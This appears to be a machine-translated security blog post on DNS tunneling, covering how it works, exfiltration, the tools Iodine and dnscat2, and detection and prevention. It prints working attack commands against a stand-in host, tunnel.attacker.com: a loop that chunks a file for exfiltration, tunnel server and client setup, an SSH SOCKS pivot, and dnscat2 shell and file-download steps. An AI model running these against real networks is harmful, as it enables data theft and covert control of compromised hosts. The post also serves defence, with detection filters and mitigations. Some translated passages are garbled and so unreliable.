networking

DNS Tunneling: What It Is, Attack, Exfiltration, and Detection

DNS Tunneling: What It Is, Attack, Exfiltration, and Detection

DNS Tunneling: What it is and how the attack works with Iodine and dnscat2, DNS exfiltration, practical examples and DNS traffic detection with Wireshark and SIEM.

  • Posted on 2026-11-02
  • Reading time: 7 min

DNS Tunneling: Meaning, Cybersecurity Attacks, and Traffic Detection #

What is DNS Tunneling? #

Simply put: the DNS tunneling (o DNS tunnel) is a technique that hides data inside normal DNS queries, the ones your computer uses to translate a domain name into an IP address. Instead of asking "what IP address does this site have," the query carries commands, files, or shell output disguised as queries. A, TXT, NULL o CNAME like many others.

It is used in two main contexts: as a command and control (C2) channel to maintain access to a compromised host, and as a DNS exfiltration channel to exfiltrate data from a network without going through normally monitored protocols (HTTP, HTTPS, SMB).

In the MITRE ATT&CK framework, the technique is cataloged as T1071.004 — Application Layer Protocol: DNS , under the Command and Control category.

DNS tunneling traffic flow between a compromised host, a corporate resolver and an attacker-controlled nameserver

How DNS Tunneling Works #

The mechanism exploits the way recursive DNS resolution works. If the attacker registers a domain (e.g., tunnel.attacker.com) and becomes its server NS authoritative, every query for a subdomain of that domain eventually ends up on its server.

The flow is this:

  1. The compromised host runs a client that encrypts the data (command, file, output) in Base32 o Modified Base64 (The set of characters allowed in DNS names is limited.)
  2. The encoded data becomes a subdomain: 4d6573736167652d656e636f646564.tunnel.attacker.com.
  3. The company's internal resolver doesn't know that domain, so it forwards the query up to the attacker's authoritative server.
  4. The attacker's server decodes the subdomain, performs the requested action (or queues it), and returns the response encoded inside a record. TXT o NULL.
  5. The client on the host decodes the response.
text
client -> query: <base32(payload)>.tunnel.attacker.com (type TXT)
server -> response: TXT "<base32(output)>"

translated: the payload travels in the query name, the shell output in the response.

Why it bypasses firewalls #

DNS tunneling works so well in evasion for two very concrete reasons:

  • the door 53/UDP (and increasingly 53/TCP) is almost always open outgoing, because without a functioning DNS the network stops working;
  • Most firewalls and proxies inspect HTTP/HTTPS traffic much more aggressively than DNS traffic, which is often treated as “service” and allowed to pass without application checks.

This makes it interesting both for maintaining an active C2 in highly segmented networks, and for leaking data when all other channels (HTTP upload, email, USB) are blocked or monitored.

DNS Tunneling Attack: real scenarios #

The most common offensive uses are three:

Command and Control. The compromised host periodically polls the attacker's domain asking "Are there any commands queued?" The server responds with the command encoded in a TXT record, which the host executes and sends the output to the next query. It's slow (DNS isn't designed for high throughput) but extremely difficult to block without disrupting name resolution.

Data exfiltration. See the dedicated section below.

Bypass captive portals and paid Wi-Fi networks. Many captive portals allow DNS queries to pass before authentication to allow the portal itself to resolve. A DNS tunnel (historically the NSTX project, now more commonly Iodine) allows free Internet access by encapsulating IPs within DNS. It's the same technique, different application.

DNS Exfiltration: How a File Gets Stolen #

To exfiltrate a file via DNS, the client breaks it into chunks that respect the protocol limits: each label (the portion between two colons) can be up to 63 characters long, and the full query name cannot exceed 253 characters.

bash
# split del file in chunk da 60 byte, poi encoding Base32 per ogni chunk
split -b 60 secret.zip chunk_
for f in chunk_*; do
  echo "$(cat "$f" | base32 -w0).data.tunnel.attacker.com"
done

In other words, each line of output becomes a DNS query; on the authoritative server, you simply log incoming queries and reconstruct the chunks in the correct order.

Actual throughput is low: between encoding overhead, network latency, and record size limits, we're typically talking about a few KB/s with Iodine under normal conditions, less with a "pure" DNS tunnel via hand-crafted TXT. This is why DNS exfiltration is used for credentials, keys, and small archives—not for moving entire databases.

Tool: Iodine (DNS Tunneling via IP) #

iodine creates a real tunnel IP-over-DNS: a network interface appears on the compromised host (dns0) on which to route any traffic, not just text commands.

Server-side setup (on the domain whose NS you control):

bash
# avvia il server iodine, assegna la subnet del tunnel e il dominio delegato
iodined -f -c -P mypassword 10.0.0.1 tunnel.attacker.com

translated: -c disable client IP checking (useful behind NAT), -P It's the shared password, 10.0.0.1 This is the IP of the server inside the tunnel.

Client-side setup:

bash
# connette al server iodine attraverso il DNS del resolver locale
iodine -f -P mypassword tunnel.attacker.com

At this point dns0 It is a full-fledged IP interface: you can route SSH to it, a SOCKS proxy with ssh -D, or any other traffic.

bash
# una volta che il tunnel iodine è up, pivot completo via SOCKS su SSH
ssh -D 1080 user@10.0.0.1

Typical throughput: 10–50 KB/s depending on the DNS record type used (NULL and TXT perform better than A/CNAME) and the presence of filters that limit EDNS0 responses.

Practical note: Iodine does not have a well-maintained native Windows port. For a Windows-hosted test, it is best to compile and run it inside. WSL (Windows Subsystem for Linux), so the tunnel runs in a full Linux environment without having to exit the target machine.

Tool: dnscat2 (native C2 on DNS) #

Unlike Iodine, dnscat2 It does not create an IP interface: it is a C2 specifically designed to run on DNS, with multiple sessions, file transfer and a command shell o exec integrated.

bash
# server dnscat2, con dominio delegato (serve un NS autoritativo reale)
ruby dnscat2.rb tunnel.attacker.com
bash
# client, stesso dominio
./dnscat2 tunnel.attacker.com

Without a delegated domain it still works in direct mode (dnscat2 --dns server=1.2.3.4,port=53), but in that case the traffic does not traverse the chain of recursive resolvers: it is useful in the lab, much less realistic as a simulation of a real attack, where the value of dnscat2 lies precisely in traversing resolvers that the attacker does not control.

Inside the session:

text
dnscat2> window -i 1
command (user@host) > shell
command (user@host) > download C:\Users\user\secret.txt

translated: window -i enter the session, shell opens an interactive shell encapsulated in DNS, download exfiltrates a file in blocks.

DNS over HTTPS Tunneling #

A more recent variant uses DNS over HTTPS Instead of cleartext DNS over UDP/53, the traffic exits as regular HTTPS to a public resolver (Cloudflare, Google), making it even harder to distinguish from legitimate web traffic—and completely bypassing controls that only filter port 53.

Tools like dnscat2-doh or custom DoH proxies route the same queries encapsulated inside HTTPS requests to endpoints such as https://cloudflare-dns.com/dns-queryFrom the corporate proxy's perspective, this is TLS traffic to a trusted domain.

This is also why many companies, in their DNS tunneling prevention program , today block or force-route all DoH resolutions to their own internal resolver, instead of letting each host choose its own.

DNS Covert Channel and MITER ATT&CK classification #

The term DNS covert channel It generally refers to any covert channel that uses the DNS protocol to transport data not foreseen by the protocol itself — DNS tunneling is the most common and documented case.

In addition to T1071.004 mentioned above, the technique also appears as a sub-technique in:

  • T1048 — Exfiltration Over Alternative Protocol , when DNS is used specifically to leak data.
  • Several real malware and C2 families implement it: OilRig/APT34 has used DNS tunneling in multiple campaigns documented by public threat intelligence, and C2 frameworks such as Cobalt Strike e Sliver support DNS channels as an alternative listener to HTTP/HTTPS.

DNS Tunneling Detection with Wireshark #

From a defense perspective, tunneled DNS traffic has distinct characteristics compared to regular DNS traffic, even just by looking at the packets.

Signs to look for in Wireshark :

  • abnormal volume of queries to the same second-level domain, especially records TXT e NULL;
  • long subdomains, with high entropy and random-looking characters (typical of Base32/Base64 encoding);
  • very frequent and regular queries to the same domain, from a single host, outside of the normal browsing pattern;
  • response size close to the maximum allowed limit (payload sign “pushed” to the maximum to optimize throughput).

Practical filter to isolate suspicious traffic:

text
dns.qry.name.len > 50 && dns.flags.response == 0

translated: filters all DNS queries whose name exceeds 50 characters — a reasonable threshold for catching encoded subdomains, which a normal human domain name rarely reaches.

A second useful filter isolates the frequency:

text
dns.qry.name contains "tunnel" or dns.qry.type == 16

translated: the type 16 matches the records TXT, much more used in tunneling than in normal navigation.

DNS Tunneling Detection with SIEM #

At the SIEM level, detection is based on statistical analysis of DNS traffic rather than individual queries, because a single suspicious query is not enough to distinguish a tunnel from a CDN with dynamically generated names.

Indicators that lend themselves well to a search rule or query:

  • query count per domain per host, in a short time window (e.g. more than 100 queries/minute to the same second-level domain);
  • average entropy of subdomains queried by a host, calculated on a daily basis;
  • NXDOMAIN query-response ratio: a misconfigured tunnel or a client trying domains that are not yet registered generates many NXDOMAINs;
  • average length of queried domain names from a host, compared to the network baseline.

Conceptual query example (adaptable to Splunk/KQL/Sigma depending on your SIEM):

text
index=dns | stats count by src_ip, query_domain | where count > 100

translated: groups DNS queries by source host and queried domain, flags those that exceed an abnormal volume threshold.

Many modern EDR and DNS firewalls (Cisco Umbrella, Zscaler, CrowdStrike Falcon) already include machine learning models specifically dedicated to DNS tunneling detection based on these same statistical principles.

Prevention and mitigation #

Whatever the environment, some measures concretely reduce the attack surface:

  • force all DNS resolutions (including DoH/DoT) through the corporate resolver, blocking direct egress to external public resolvers on 53/UDP and TCP;
  • rate limiting on DNS queries per host, with alerts on abnormal volumes towards the same domain;
  • DNS firewall/sinkhole with domain reputation, to block recently registered domains or domains with suspicious patterns;
  • length and entropy monitoring of the queried domain names, as described in the detection section;
  • network segmentation, to limit which hosts can make DNS queries directed outward rather than just to the internal resolver.

None of these measures alone blocks a well-built tunnel 100%: the combination of outbound traffic control and behavioral detection remains the most effective defense.

FAQ #

Is DNS tunneling always detectable? No. A well-designed tunnel, with low query volume and unsuspecting domains, can remain below the threshold of standard detection rules for a long time. This is why behavioral detection (volume, entropy, baseline) works better than searching for individual signatures.

What's the difference between DNS tunneling and DNS exfiltration? DNS tunneling is the general technique of encapsulating data in the DNS protocol; DNS exfiltration is one possible use of that technique, specifically for exfiltrating data from a network.

Iodine or dnscat2, which should you choose in an authorized test? It depends on the objective: Iodine provides a full IP tunnel (useful for pivoting with any tool), dnscat2 is lighter and designed for C2 text/file transfer with less setup overhead.


As always with this type of technique, the offensive strength (bypassing perimeter controls) coincides with the defensive weakness that must be addressed first: if the outgoing DNS isn't forced through a monitored resolver, a well-constructed tunnel is easily defeated. This applies to DNS tunneling as well as any other exfiltration channel: behavioral detection is always more reliable than a single signature.

#DNS Tunneling #DNS Exfiltration #NetworkSecurity #Covert Channels #RedTeam

leave a message

I'm not a robot